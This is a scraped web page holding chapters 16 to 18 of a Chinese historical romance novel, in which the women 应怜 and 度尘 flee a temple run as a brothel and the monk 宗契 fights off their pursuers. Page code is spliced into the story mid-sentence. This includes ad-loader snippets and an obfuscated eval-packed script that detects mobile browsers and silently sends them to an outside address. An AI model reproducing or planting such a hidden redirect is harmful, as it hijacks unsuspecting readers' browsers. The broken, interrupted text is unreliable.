堂间布置处处有佛经、观音小像、蒲团、木鱼等，彰显的佛意却都败在一桌鱼肉酒菜里。宗契将随身带来的镔铁棍搁在一边，刚要眼观鼻、鼻观口、口观心，却听赵芳庭向那陪客的女僧问：“人呢？还没来？” “就来、就来！大官人莫急。”女僧赔笑，意态阿谀，将残剩无几的佛意又败了一层，“她初来乍到，羞涩得紧呢，上妆慢，大官人不若送几样物事去，催催妆？” 赵芳庭大笑，随手从珍宝里取出一两件，送过去，“好，催妆！今日只当我为我兄弟娶新妇了！” 宗契脑中哐当一响，终于坐不住，腾地站了起来，面色微变，“这是何意？我一个出家人，怎好如此取笑！” 说着拂手将伺候人拨到一边，掷下不合时宜的满堂华彩，长腿阔步便往外走。 赵芳庭伸手欲捉，却只摸到一片衣袖，打哈哈赔罪，“怪哥哥嘴欠！原想着你离了旧人，不免寂寞，故才带你来消遣消遣，你若不喜，我不说便是了！” 他体格轻敏，三两步一绕，便至门口追上宗契，按了他的手臂便往回带。恰此一明一暗、一里一外的功夫，忽闻环佩叮当、脚步堆簇，花灯错落间，廊上簇拥着一个云霞绰约的丽影，袅袅纤纤地走了来。 余人皆是僧衣打扮，或灰或褐，中有几个黛眉铅粉的，白净秀气；只当中那花冠巧妆之人，乌云堆翠、裙裾翩跹，层层纱绫系一袭腰肢袅娜，步态如分云踏水，闻听堂上争执，将将抬起脸来，照映进一室璀璨中，便似瑶台生玉露、琼林遗仙姝，最夺人不过那双承云带雾的眼眸，恍如初见，浅蹙浓愁。 宗契愕然顿住，那女子也呆了半晌，花萼般的脸上霎时褪尽血色，连脂粉匀出的三分红也遮不住。 应怜浑身如沃冰雪，一瞬时冷透心脾，只觉莫大讽刺。 也不是未曾疑过那家药铺子，那周娘子巧舌如簧，多番与她提及莲台寺如何如何好，这才蒙了她的心智，一步步堕入魔窟。而宗契，她总觉着，他应当全然置身事外，不知晓内中龌龊。 一则莲台寺是她先与他提的；二则他若真有歹心，何必前前后后在她身上耗费银钱无计？ 赵芳庭还勾搭着宗契手臂，见此也吃了一惊，一拊掌，却笑了起来，“这真是‘情缘深处天注定’，兄弟，你的旧人来了！” 那张脸笑得得意殷勤，眉眼分外可憎。应怜恍然认出他来，浑身冰冷，颤颤地后退一步，盯着宗契的眼里流不出泪，却似要喷出火来。 “没想到、没想到……”她眼光扫过赵芳庭，咬着牙，死死扣住宗契，“亏我一直当你是个好人！” 一堂花烛随着人影纷窜，烛影高低不定，衬得人人脸上窝着一团火，张牙舞爪似的。宗契心头正乱，不由分说，一把钳住应怜，“跟我走！” 另一只臂膀却被拽了一把。 赵芳庭仍笑着，不过那笑里已带了三分凉，“兄弟，可别乱了规矩。” 宗契心里攒着气，一抖手将他像虱子一样弹开。赵芳庭见他擒着应怜要走，又来拦他，身形如影，抄至身前。 变故只在瞬息间，围拥的那几个沙弥尼几声尖叫，满天星似的乱散。应怜冷不防被一拖，仓皇险些跌倒，忽听后头来人大喝，“截住他！” 也不知说的是谁。但那声音耳熟，正是法持。 法持提着盏素灯笼，本想来照应一二，顺道瞧瞧应怜今日可遂人心意，却不料刚进院，借着院落灯火，一眼瞧见那塔一般高大的身影，半张脸落在明处，已然怒意磅礴。 她自然记得此人，心中便是一突，情知不妙，“怎么是他！” 急急吩咐叫人，自己横汹汹地便过了来。 这头有赵芳庭相拦，见宗契挟了应怜就往外闯，两个翻了脸，指着便骂：“我有心带你得份富贵，你便如此恩将仇报，为个娼.妇坏了你我兄弟的情分！” 那两个字格外刺耳，宗契心头火起，“我是你爷爷！” 说着把应怜往后一带，躲开赵芳庭的勾拳，伸腿便扫了开去。 两人拳脚架在一处，拳拳过风。应怜惊慌失色，忽又被一抓，却是度尘，猫着身子扯着她往后撤。 不过两句话功夫，院外呼啦啦涌上了一群，皆是粗横强壮的女僧，各执棍棒兵刃，甚而有手拿刀枪的，闯了进来，瞅定宗契，便来擒他。 度尘头也不回地拉着应怜躲入幽深处，声音又低又急，“那些个师叔俱是通拳脚的。刀枪无眼，咱们快走！” 咋咋呼呼，院子里已闹成一团。应怜珠翠花冠晃颤了一霎，便如滴水入海消失不见。宗契一眼没望到，却来不及去追，近身有个赵芳庭缠着，更兼几支棍棒已着了肩背。好在他惯来习的是外家硬功，并不怎么吃痛，只是被前三后四地绊着，索性将一人旋身一拧，踩着后背一个鹞子翻身，跃至圈外，到得堂上抄了自己的镔铁棍，回身便迎上了围堵在室的女僧们。 赵芳庭呼呼带喘，夹在众人中，到底不想给自己找个强敌，只劝道：“你将家伙放下，我仍认你做个兄弟，妓乐你不要便不要了，咱俩换了银子，即刻便走，如何？” “他走不脱了。” 法持分开人群，面目阴沉，不知是说与宗契听，还是责怪赵芳庭不义气，“他与那柳惜是一伙的， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 若放他走，还不知往后要生出什么事来。赵大官人，你怎认了这么个混拙闷愣的兄弟？” 赵芳庭理亏，说不出话来；法持一招手，呼左右上前，“擒了他！” · 灯火明晃的那院响动陡然大了起来，远隔三四道院墙还能闻见。此处幽黑的墙角里，却只有秋虫断续的鸣叫，一待零乱匆忙的脚步传来，便歇了声。 应怜听那头的动静便格外明显，心头乱得没个条理，喘声与心跳声几乎盖过了她的思绪，若不是被度尘拉着，两只脚也早已软得走不动一步。 廊下时而有人循声而来，撞见她们。应怜慌促地说不出话，度尘却稳当许多，指着雅院催人前去，“那两位贵人自家闹起来了，师叔们拿着家伙去支应，阵仗可大哩！法持师叔教我们先回房躲着！” 说着急急带着应怜，果真向西院的路去。 其余人不疑有他，应怜却忽地心一颤，拽紧了度尘，“他们正乱着，我们何不如……” “傻子，细软和索子都还没拿呢！”度尘带着她加快步子。 两人皆来了精神，一路躲着黑偷回院儿里，晓得左右隔壁都有未陪客的沙弥尼睡着，愈发不敢有大动静，把衣上叮当作响的绦环扯了，做贼似的轧开一条门缝，各自拿了要紧的家当，栓牢在身上。 应怜索性不要那几件僧衣，只将小银疙瘩揣进怀里，一时想那身契，一时又岔到宗契身上，不知他是否已被擒住。 事急从权，一切都无暇细思，是非真假容此刻怎么也闹不清楚了。 度尘的细软比她多。应怜便帮她背了一袋，好在衣物轻薄，并不沉重。她又提醒度尘，“别忘了那颗珠子。” “忘不了，早缝珠衫上了。”度尘把索子胡乱绕在腰间。 两人又摸黑顺墙根溜出去。好在今夜月色不明，没个影子落在地上，这一回度尘带着她，专捡犄角旮旯里钻，远着灯火幢幢的几间院子，竟到了曾来过的后殿处。 殿后头的门落着锁，锁头比她二人的拳头还大。应怜走投无路，却见度尘左右望望，寻了棵靠墙的树，将七彩云霞般的寺绫络成的索子从腰间解下，紧紧地系在树干根底处。 那树生着簇簇红艳的果子，恍如夜间点点未熄的星火，原来便是她曾摘过的山萸树。 应怜道：“这树不高，也不挨着墙，可怎么上？” “你会翻墙么？”度尘问。 她摇头。 “那就得委屈你了，我踩着你的肩翻过去。”度尘仍把索子一头拴在腰上，打了个结，道，“待我过了墙，在那头拽着索子，你顺着再攀上来。” 她说完，却见应怜张着嘴，满脸惊恐的窝囊样子，便气了起来，“你总不至于只敢戴串山萸果，哭啼啼地想家，连墙也不敢翻吧！” 自从来了这莲台寺，硬着头皮强做的事也不止一件两件了。应怜望着将将二人高的厚墙，喉头发僵，手脚发硬，点头，十分言不由衷，“我、我可以学。” 17.第 17 章 她可以学。应怜咬着牙想。 毕竟她如今前途未卜，沉甸甸的命一气压上来，几乎将她压垮。 ——就像两肩头踩着的度尘一般。 度尘手攀墙头，不敢大声，急得要命，“你别晃！稳当点！” 应怜鼓着腮帮子说不出话来，怕一口气泄了，两人都栽个底朝天。 好容易稳住了，顶着度尘扣着瓦翻上去，她倚着墙，一边喘一边仰头望。 度尘身子灵巧，捉着索子一点一点蹭下去，末了还招呼她，“快些上来，恐拖长了被人发觉！” 她应了一声，擦擦手心的汗，由度尘在那头绷着索子，自己攀上去，试图蹬上墙头。 索子韧滑，好在寺绫头尾间有烙死的疙瘩，可供抓稳。饶是如此，也爬得应怜满头大汗。她上一尺、滑三寸，试了好几次，差点哭出来，硬是咬了牙，不敢放松，继续向上爬。 度尘在对面很是焦急，一气儿催她，又道：“你当心，墙头生了刺草，别被扎了。” 应怜仍在吭哧吭哧喘着气上墙。 若换成从前，打死她也万不敢做这样上树爬墙的皮猴行径，只是今日被逼到这份上，容止意态也都抛诸脑后，不管不顾了。 她发了狠，攥着那索子，拼了命往上爬，好容易一只手够上墙头，已累去了半条命。 半伏在墙头，应怜颤颤地往外看。视野广阔，却瞧不清一二，只是一脉黑黢黢的影廓，连下山的路在哪一方都辨不出。 再起身，头皮一疼，却是花冠子被刺草勾住，脱不出来。 她就这么歪歪着脑袋，火急火燎地拿手去摘，眼见度尘在下头仍拽着索子，急得指手画脚，“左一点、向下、向下、再提上去一些……” 应怜扯得头皮发麻，手上被划了好几道口子，心一急，索性拔了冠上铁簪，尖头猛地一挑，瞬觉头皮一松。 花冠咕噜噜顺墙滚回院内，无声无息掉在草丛里，是再也够不着了。 所幸椎髻未散，她落得轻松，再不管花冠，一点点蹭下青黑的院墙。这一回有度尘在下头托着，利索了许多，一会儿，灰头土脸地下了来。 度尘没教她歇息，拽着她便朝一处疾行。 “角门向来关着，人只里头守门，咱们手脚放轻些，下了山，路就好走了。”她悄声道。 应怜认不得东西南北，只依言跟着向前，拂开乱生的丛草，脚踝被草叶扎得发痒，也不敢去挠，生怕踏错一步就滚落山下去。 好容易摸出一条林中错杂的路来，离了角门院墙，下行几步，回头再往，幽深掩映里，莲台寺宝殿高檐已在浓密的树冠后，犹如个黑面獠牙的恶鬼。 “这不是那日我上山的路。”她道，黑暗中声音微微发喘，“这路怎么这样难走？” 许是离寺愈远，度尘松了气，说话也不那么紧绷了，“这本就是那些浮浪客踩出来的道。从这条路上来的，没一个是干净的。” 应怜便蓦地想起宗契，猜度他是否正是从这条路上山，心里头密密杂杂的，仿佛墙头刺草一蓬蓬扎进了心窍，有些难受。 “我不知今日来的竟是他。”她小心翼翼摸索前路，喃喃道，“他身边那人，我在青玉阁见过。他们怎么厮混在一处？他是个出家人，他……” 迎她的是度尘一声嗤笑，“出家人怎么了？莲台寺接客的是出家人，往来的也不乏出家人呢。” 应怜默不作声了。 她又忆起秾李的那句话——到底不可轻易信人。 她信了宗契师父，而他却当头给了她一棒。 度尘在前，时而牵她过难行的砂石碎泥路。她的手温热，应怜忽而想到，度尘这人，究竟可信几分呢？ 她颇有种“一度著蛇咬，怕见断井索”的惶惑之感。 下山不必多久，树影依稀，地势忽平坦起来，遥见远空幽邃，群山虚影，她忽想起一事，“你家在哪儿？离此远么？” “不远，绕过城，往西五十里便是。”度尘道。 应怜脚底一软，“五、五十里？” 度尘眼儿亮晶晶的，回头一瞥，“你怕什么？瞧！” 她一指左近。应怜打眼一瞧，正见一处低矮屋篷，里头影黢黢地露出半只摇晃的马脑袋，却原来是间马厩。 “今日寺里只有赵大官人两个，想必是他们的马。”度尘喜道，“巧了，我们正可骑了去，五十里不多时便到。” 只是近前了才瞧出，只有一匹，通身枣红，在深暗的夜色里近乎漆黑，目准如炬、四蹄粗壮，被牵出来时有些不耐，刨蹄打鼻，喷了度尘一脸。 “你会骑马不？”度尘将马牵来。 应怜脚软得像泥，摇摇头，又点点头，“会、一点儿……不是很会。” 那马低头来嚼她的衣襟，惊得她兔子一样横跳了开。 度尘有些烦恼，拍拍马背，“我也不大会。算了，你前我后，咱们慢行些好了。” 说着，先托她上了马，自己再跨上后头，紧攥了辔子，令其小跑开了。 · 堂上乌七八糟地斗成了一窝蜂。 赵芳庭是属鳝鱼的，连人带宝早溜得没影儿，实不仗义地丢了宗契一人，在姑子堆里支应。 十几二十个拿枪拿棒的女僧，学了几天拳脚，天罗地网似的绊他。宗契被敲打得心头火起，一棍压住几人，将之撂倒在地，一眼望见院外黑沉无光，心想着去寻应怜，却怎么也脱不开身。 法持惧他镔铁禅棍，只在人众后遥遥指挥。宗契后撤一步，搁着倾圮的半张桌，立棍杵地，恼了起来，“我无心伤人，你们再要咄咄相逼，休怪我棍下无情！” 话音还未坠地，好悬又被刀尖划过面颊。 “既是两脚的牲畜，”宗契怒意上涌，一横棍，挑起一张破雕花凳，旋风似的砸开一片场子，“那便按牲畜的法子来治！” 他不开杀戒，却专敲脚踝，一个两个，棍扫处呼声震天。 一片棍棒刀枪雨林之中，宗契流星似的划开，身形轻捷，教人眼花缭乱。寺中人一个个只觉腿脚震痛，筋麻骨裂，刈草般伏倒了一大片，兵器叮铃哐啷砸落在地。 最后一个，宗契一棍敲中腿上麻筋，踩着脊背一个鹰隼俯击便跃起坠下，径直跳出圈外，迎着面容惊骇的法持，一掌便扼住了她的脖颈。 “她在哪儿！”他每说一字，手下便紧一分。 法持被扼得直翻白眼，到底无人相救，在一片起伏呼号声中，颤巍巍指了个方向。 宗契拖着法持，像拖着根半朽的腐木，一路穿廊过院，起先后头还跟着几个心惊胆裂的，渐渐便无人跟随，正是叫天不应叫地不灵的处境。 本是要去西院，只走到一半，他忽然顿住。 左右两廊在此处相接，通向严门大锁的后殿。一带院墙高厚，却于深处落着一棵山萸树，满树簇红，根上系着根五色斑斓的索子，显是衣衫纠结而成，直牵到墙外。丛草之中，映着廊下黯淡花灯，一物依稀流光烁烁。 是支堆簇了各色绢花珍珠的花冠。 宗契心中一动。 法持被拖行一路，几乎老眼昏花，扭着脖子，嘴里“嗬嗬”作响。宗契见她惧怖异常，索性给个痛快，一手刀劈在后脖颈，扔了昏死之人，紧向那山萸树而去。 他捡起花冠，细细辨认，忆起方才那惊鸿一瞥，心中便有了计较。 · 这畜生不怎么听话，一路跑跑停停，还不住打响鼻。 应怜不敢抬手闻衣袖，更不敢勒缰辔，生怕它狂性大发，“咱们这衣上怕是香熏太浓了！” 度尘应付得也辛苦，握缰绳的手都发酸了。她自小不会马，还是近几年跟着恩客，马上溜达过几回，半生不熟的手艺，更别提还带着个人。 那马也不知怎么的，总也不听她使唤。她教往西，它却往南，一忽儿往东，末了围着山跑，还与她尥蹶子，好险把两人掀下马去。 就这么歪歪晃晃了半圈，却觉应怜紧张起来：“你瞧，前头是不是有个人！” 果然，一箭之地，觑不清真切，有个物事也晃悠悠地绕着山转。 分明没教跑，那马却来了性子，撒蹄便往前头追去了。 应怜吓得花容失色，死死地勒缰绳，连着度尘也一头儿拽，皆拽不住，由着它受惊似的狂奔，一抬眼，终于瞧清，那竟是一人一马，马是黑鬃马，人是黑心人。 ——花太岁赵芳庭。 赵芳庭溜溜达达地信步由缰，骑在马上张望山上动静。一袋子宝货没过出手，他仍是个坐拥宝山的穷光蛋，想着风波闹定了，再去一趟。 不想打黑里冲出来二人一马，铆定了他便往前来。 他唬了一跳，定睛细看，骂了一句，却笑起来：“牝马靠槽，你两个女娇娘怎制得了？怎么，骑了我的马，想逃？” 完了。两人同时心一凉。 冤家碰头，赵芳庭还没动手，她两个就要先摔下马去。 应怜幼时摔过一次马，犹心有余悸，这一回赶鸭子上架，恨不得搂了马脖子发抖。那马却亲亲热热地挨上赵芳庭的，又蹭又爬。 度尘也急白了脸，心一横，脚下猛踢，“走！快走！” 不料想马吃了疼，聿聿长叫一声，竟前蹄立起，脖头一梗，发起凶性来。 也恰此时挡开赵芳庭欲捉来的手，两方同受了惊，黑马驮着他窜逃几步；度尘夹紧马腹，倾着身好容易稳住身子。 只苦了应怜，惊叫一声，一个没坐稳，呼啦啦从马背上滚了下来，一双手扒拉乱抓，拽了缰绳，迫那马头一歪，回身便咬。 电光火石之迅，她没被赵芳庭抓着，衣缘绦子却被马齿咬着，呲啦从上撕到下。 狼狈地扑到在地，应怜啃了一嘴地草，手心里也火辣辣地疼，万幸一拽一咬卸了七八成力，没伤了去。 人叫马嘶，在清寂的长夜里分外突兀。赵芳庭抓了个空，跃下马来，二度再来擒。度尘情急之下，抄起马鞭抽他头脸，怒骂：“干你何事！为何不放我们一条生路！” “我只捉她抵债，你自去便是！”赵芳庭一把接住鞭梢，夺了来，扔在一边。 应怜浑身冰凉，心头鼓噪，堕马这一震，摔得她耳里嗡嗡直响。 什么叫捉她抵债？抵谁的债，莲台寺？ 她手肘打晃，强撑着爬起来，慌促无路只晓得离了度尘往前跑。身后刮定风声，没跑出几步，赵芳庭长手如钩，便触及她肩头。 陡然此时，夜中不知何处，吼来一声，“赵芳庭——” 倏地啸声破空，刺来一物，迫赵芳庭往后一仰，耳根子堪堪擦过一道冰冷，眼前一花，一根禅棍不歪不斜，正钉入身前一寸的地里，棍头还弹了两弹，正拍中他脑门。 应怜被赵芳庭情急中一推，猛地前扑，情知不妙，只及护住头脸，预备再啃一嘴尘泥败草，忽的眼前一昏，却搭上一双温热的肩臂，那人伸手一护，将她密密环住，稳住她身子。 却只一刹那，那双扶定在肩胛的手被烫着似的，激灵弹开。 应怜脑子里还懵着，身遭已空了，那条高大身影侧旁一抄，提溜个活蹦乱跳的物事便给了一拳。 竟是宗契。 赵芳庭一声嚎，浓夜里凄楚得很，“兄弟，你听我解释！” 他料定宗契与他一般，脱了空逃出来，闻听叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声这才赶到，没听着几句，便想着拿话稳他一稳，到底还要寻个空走脱，否则难保另半边脸也吃一记老拳。 “泼贼！你倒是说来，捉她作甚？”宗契横眉怒目，拳攥得铁硬。 此夜里无星无月，说来也怪，应怜骤然瞧来，却见他眉目疏朗分明，连眼底凝聚的清光都映得清楚，立于几人当中，如头顶着天、脚踏着地，将巍巍山峦都一并撑了起来。 一阵夜风吹来，肩背发寒，她一个哆嗦，却见度尘偷摸了那黑马的缰绳，攒着劲往上爬，还回身向她打眼色，无声催促：过来！ “我原不知兄弟你如此爱重她，今日见了，便想着把她拿来与你……”赵芳庭摸着被打肿了的半边脸，哭丧着讨饶，忽手一指：“她们又要逃！” 宗契一惊，猛一回头，果真，那两个女娘趁着乱将将上马。 “你跑什么！”瞧她鬓髻散乱，身后还挂拉着一大片破衫，宗契情急，三两步夺了黑马缰绳，“我又不吃了你！” 这头一回身，那头赵芳庭瞅准空子，出溜一个滑步远了三尺，使开看家的轻功本事，撒开两脚便逃远了。 ——临走时还手一捞，将那一大袋宝货扛了去。 人已经溜了，宗契追也追不上，况手里还扯着马缰绳，恐一个撒手，这头又没影儿了，正欲说话，便听应怜颤颤地开口：“我、我跟你去便是，你放她走。” 她人在马上，定定地下瞧，眸子里云雾般结着浅浅的薄泪，脸色发白，看起来十分心灰意冷的模样；口脂、胭脂都花了，腮上还添了几道深褐草汁泥巴，宗契明了她的意思，又恼又好笑。 应怜见他不说话，笨手拙脚地便爬下马，又被度尘死死扯着，两个看起来像生离死别，倒显得宗契多十恶不赦似的。 “她一个沙弥尼，夤夜出逃，能逃去哪儿？”宗契无奈，拔了镔铁棍，又牵了那不情不愿的枣红马，沉铁似的压上去，“久了怕有追兵跟上，有话后头说，先走！” 畜生欺软怕硬，方才对着应怜又尥蹶子又撒嘴，这会子只敢拿蹄子在地上刨几下，拧巴着也服帖了。 度尘与应怜面面相觑，半晌，犹疑地点点头，“往西五十里是我家，咱们快去。” 说着，忽想起一事，解开身背的包袱，抓出一件，一股脑给应怜披了。 “你后背都挂开了！”度尘与她咬耳朵。 应怜一愣，眼见珠光宝气，却是那珠衫，所幸夜里瞧不真切，权且穿着，过后再还。 她低头系好纽襻带子，侧头一瞥，却见宗契直直盯向前，便也往前看了一眼。 空空荡荡，夜色深浓，也不知他在看什么。 “走吧。”她道。 黑马膘壮，早已骟了的，性情稳重许多，任驮着两人，教小跑便小跑。应怜松了口气，趁空搓了搓手，仍火辣辣的。 宗契跟在后头。 那珠衫穿在她身上有些不伦不类，襟缘下摆被大小不一的珍珠坠得松散，腰处却被系带掐出一抹窈窕，遮掩了后背衣衫破处所露的大片肌肤。 方才她猛一下扑来，他不及反应，正搂在那片柔暖的白瓷上，触感分明，到此时犹留在掌心。 耳根有些薄热，他暗骂了自己一声，目光挪开，专心跑马，手里缰绳握得更紧，又蹭了那粗裹的麻绳几下，撇开方才异样温软。 · 身处黑夜时，总觉长夜无尽；直待天光熹微，树影、屋舍、远山轮廓愈发清晰，应怜间隙回首，早已望不见来路，才觉出一夜不过如此短暂，如露水泡影。 她收回目光，却见了度尘怔怔远望，似悲似喜，压着心事一般。 荒野四际，偶有几方阡陌良田，度尘偶尔会指与她看，“那是王三叔家的田，他家人口最兴旺；那是宋婆家的，后被里正弄去了，因她年老寡居……那一带，原是我家的，因离屋舍远，田也不肥，便最先卖了的……” 絮絮叨叨，便离家愈近。还没望见行人，她忽勒住马，从随身行囊里翻出一顶席帽，仔细地扣上，遮了剃发的女僧模样。 果如前言，五十里踏在马蹄下，不过从夜至明而已。待得晓天鱼肚泛白，屋瓦间还未见炊烟，几人捡了僻静村径，终在一处低矮老旧的篱笆院墙前歇马。 应怜环望四周，但见木篱破旧，院门半开；空落落的小院，泥路不整；前中堂屋一间，窗纸已破了，呼啦啦晨风一起，贯进贯出，吹得哨响。 这样的地方，纵野贼来了，也得两手空空，骂声“晦气”。 度尘却望了一望，掀开院门，径去拍堂屋的门，步子急了，席帽帘缘翻飞，露出她隐约似乎哭过的面庞来。 应怜牵了马，却没进屋，只在院口徘徊；后头枣红马又蹭来，带了宗契与她立在一处。 山野风凉，却吹不散他窄短僧衣下汩汩散发的热意。四面八方的清冽之中，他瞧着她静默而立的寂寂侧影，徒然生出一股子焦躁。 “我并不知那寺有古怪。”半晌，他憋出一句。 应怜将两三分散乱的鬓发绕至耳后，不言不语地端详他，不知为何，往常见他如同一截子高塔，或庄肃或怒目，岿然松枫似的，现下彼此相对，却总觉他多生了几分粗拙的柔和。 像捧着颗琉璃珠子的熊，干瞪眼着急，又不敢乱动分毫，生怕一不慎便打碎了琉璃。 一夜行路，她心内早捋顺了七八成，只还尚存几分疑虑，便问：“那你为何夜间来此，还与那油头粉面的人一道？” “你说赵芳庭？”宗契顿了顿，索性将事情原委三言两语与她说了一遍，只是略去了想为她计赚些私藏的原委一节。 这做了一半虎头蛇尾的事，讲出来挺丢脸的。 18.第 18 章 一番说完，应怜还不及想，前头却将门开了。 两片门板，吱嘎一声，颤晃晃地，人未见，先挤了肚子出来，原是个身怀六甲的妇人，身子已沉得很了，脸面却憔悴木讷，与度尘相见，两下都吃了一惊。 “客人找……” 度尘掀了席帽，噗通跪地，抱住了她双腿，哀哭，“娘，我回来了！” 那妇人呆呆怔了半晌，忽的大哭起来。 村岚薄雾，风弥四野，应怜望院中之景，不声不响，只眼眸中透了几分伶仃萧瑟来。 宗契看不过，想拿话掷破这一团窒闷，“咱们也过去？” 正说着，里头又出了个人，一般的面黄肌瘦，穿了件糟污得不辨颜色的破布衫子，正拿着手巾抹头脸，黑一道灰一道，手也不干净，却慌得来扶两人，将人拽起来，好歹弄回屋里去了。 那是度尘的爹，瞧这一家子，想必年景过得差。 应怜摇头，“他们一家子团圆，咱们外人去掺和什么。” 客不叨扰，主不相留。果真，那头想是哭花了眼，门一关便教人吃闭门羹了。 “怎的连水都不让人喝一口？”宗契绷着脸，顺了顺那马鬃毛，“人不渴，牲口也得饮呐。” 里头仍隐约传来哭声。没奈何，两人在薄熹的天色里，掉头回马，哒哒地离去了。 前头不远便是出城的至和塘，野渡丛生荒烟蔓草。两人将马拴在河边一棵老垂柳下，趁饮马之际，自个儿也歇了一刻。 本道再会无期，不想才不过一旬，两人便又映山照水，逢在了一处。 一时无话，各自思想各自的心事。 经此一难，应怜是再升不起出家的心思了。她忆起莲台寺的种种，光鲜浮华的琉瓦、龌龊淫睢的壁画、窈窕笑靥的女僧、腌臜逼仄的暗室……皆是披了人面的厉鬼，差点将她余生吞吃殆尽。 好容易从爪牙下逃出来，她终明了了一事。 当初入寺，她是想活着；如今出寺，是因她想像个人一般活着。 活生生的一个人，并不是只长了两只会走的脚、一张会说话的嘴。她还有一双能见五色的眼、能嗅芬芳的鼻、能尝百味的舌。 ——以及一颗鲜活的、可思可感的心。 这是天意注定，教她不在佛前，像截会动的木桩子一般耗尽心气，佛陀引她下莲台，定要往这红尘中打一打滚；再难，也得蹚出条路来。 晴日渐朗，她望见远山雾散、碧波红叶，天连着山、山连着水，六合之下，竟天苍地广，无数变化只在一线之间。 恰此时，她心有所感，回向身侧，正见宗契望来的眸光，身如磐石、眼明如水，心有丘壑。 宗契道：“你还……出家不？” 应怜摇头。 宗契一乐，眼眉飒朗，情不自禁便一掌拍在她肩上，“是了，你早就该想通，出家不是避世！” 拍得应怜一个趔趄。 “……” 他尴尬收回手。 应怜揉着肩，望山观水，长舒了胸中郁气，道：“一时间我也想不出有哪里可去。但无论如何，天总不至绝人路。” 宗契看看她，又看看水；看看山，再看看她，总觉这一番相见，她似乎哪里不大一样。果如前人所说，山水毓秀，养了她一点浩然之气？ “真无处投奔，你便随我去代州。我师父在州城里有些薄产，虽不能锦衣玉食供着你，总可保全一世。”他道。 应怜问：“代州，离五台山远么？” “不远。”他念及来处，道，“各处能照应得到。七八月里，你还可上山消夏；强似南地，一入夏火炉似的。” 她心中微动，彷如饮了一剂清风，不觉微笑，“五台山上，真如此清凉？” “骗你作甚。”宗契也笑，“你去了便知，消暑的好地界。” 两人谈论了一回。应怜忽又想起，虽已脱樊笼，却不好自在得如踏青一般，也不知那莲台寺是否遣人四下探寻，心思骤然又扯回到度尘身上。 她在吴县是没根没叶的；度尘却不同，莲台寺想必晓得她的根底，况且…… 应怜心中一沉，却又宽慰自己，“她不傻，出了这事，必定要携了爹娘走避；她如今有了钱傍身，去哪儿也都便利……” 说着，猛地一顿。 “怎么了？”宗契见她脸色不对。 “珠子。”她喃喃，在衣上乱摸。领抹排珠、镂金帔坠、玛瑙纽襻在晴日下流光熠熠，最后她摸定腰下一点凸起，在宗契不解的眸光里，道：“我得回去一趟，把珠衫还了度尘！” 半夜里走得急，竟忘了这一节。 所幸离出不远，饮毕了马，宗契与她两个并辔，又折回了起先那破败的泥屋土院。 这一回，那老旧的柴扉却紧闭着，从这头便瞧见内里顶门的粗木来。 她立于院外，拍了七八回门，只没人应，纳罕起来，又有些忐忑。 这才几刻，他们便阖家走了么？ 正要再拍十七八回，忽得人影一晃，宗契一身褐麻短衫，腰韧腿长，步子利索得像流星，不知何时已翻过低矮篱笆，径来给她开了门。 这么一出动静，里头终于有了响动，有人轧开一条窄窄门缝，探了一张脸出来，那脸色蜡黄，明晃晃写着不耐。 彼此打过一回照面，应怜认得这便是度尘的爹，便道：“阿公宽恕，我二人再叨扰一回，我寻度尘有话说呢。” 不料对面狐疑生冷地打探了她片刻，一语回绝，“闹了通夜，刚折腾睡了。有话过后说，你们自回吧。” 说着要来关门，却被宗契一手抵住，一个骨瘦如柴，一个钢筋铁骨，哪势均力敌得了？任他怎样使劲，宗契那手只铁一样地架着，眉心也拧得几分不满，“好几十里地送便送了，一口水不教喝，上门来又由得你推出去，这是哪里的待客之道？” 应怜怕闹得僵了，情急便伸手，拽了他衣袖一下。 那力道轻微得像落了根鸿毛，却教宗契十分不满顿时消散七八分，再一见她皂白分明的眸瞳急急望来，便彻底没了气性，力道一卸，倒震得门里人往前耸了半步，险些教门板给夹了手。 “我是来还衣裳的，珠衫珍贵，我怎好穿了她的却走？”不待那人叫嚷，应怜道，“只我这里头衣衫是破的，便再借她一件粗衣，阿公容留我到里头换一换。” 也不知那人是要嚷没嚷，还是被珠玉迷了眼，那眼一落在衫子上，便再离不开，却仍像防贼似的，警醒地让出半个身子，“茅舍简陋，不好教女儿与外男共处，这位师父烦请在外头等。” 说是在外头，实则土屋茅顶，槛外便能一眼扫见没遮没拦的正堂；连着正堂的左右内室，连道像样的门也无，不过以秸秆草草扎了两道。 左室低矮昏暗，草榻上隐约有个眠卧的轮廓。 一整夜绷着颗心，莫说她哭得累了，便是应怜，也有几分头昏脑涨，进了屋，却被带到右室，一般的窄□□仄。倒没置床榻，唯有一张油渍麻花的方桌，桌上四五副乌漆嘛黑的木模；连墙倒置三条长凳，端放几对扣碗，夹在倒劈的竹篾子与蚯蚓细的麻绳里头，中间一段熄了的烛芯，俱是沾满了烟灰；角落里堆陈杂物，木条、竹筒、坛罐、麻绳……不一而足。 各处一股子桐油刺鼻的酸臭，夹了烟灰的涩，呛出一片古怪之感，仿佛不似生人地界。 应怜曾听度尘讲过，家中是做制墨的行当，如此看来不假，只是寒碜了些，就这几副墨模，也不知能否养活家小。 度尘爹从外头取来件补丁摞补丁的褙子，麻色老旧、形制颇宽，也不说话，搁在桌上便走。 她松了口气，瞅定那头到屋外候着了，这才换下珠衫，只里头破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12505816|130924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣、褙子半臂，又只能囫囵交叠套上，配向来系的锦绣勒帛，十分不伦不类。 那衣裳断不是度尘的，看身量倒像方才那六甲的妇人。 她忽想起，这一屋三间，哪处也不见度尘的娘。况度尘先前谈起过，她家中排行第二，下头还有一个妹妹、两个弟弟。如今看着，非但不见人影，屋内外空空荡荡，秋千、竹猫儿、黄胖……哪怕连个泥捏的土偶也无，实不像是养了孩儿的人家。 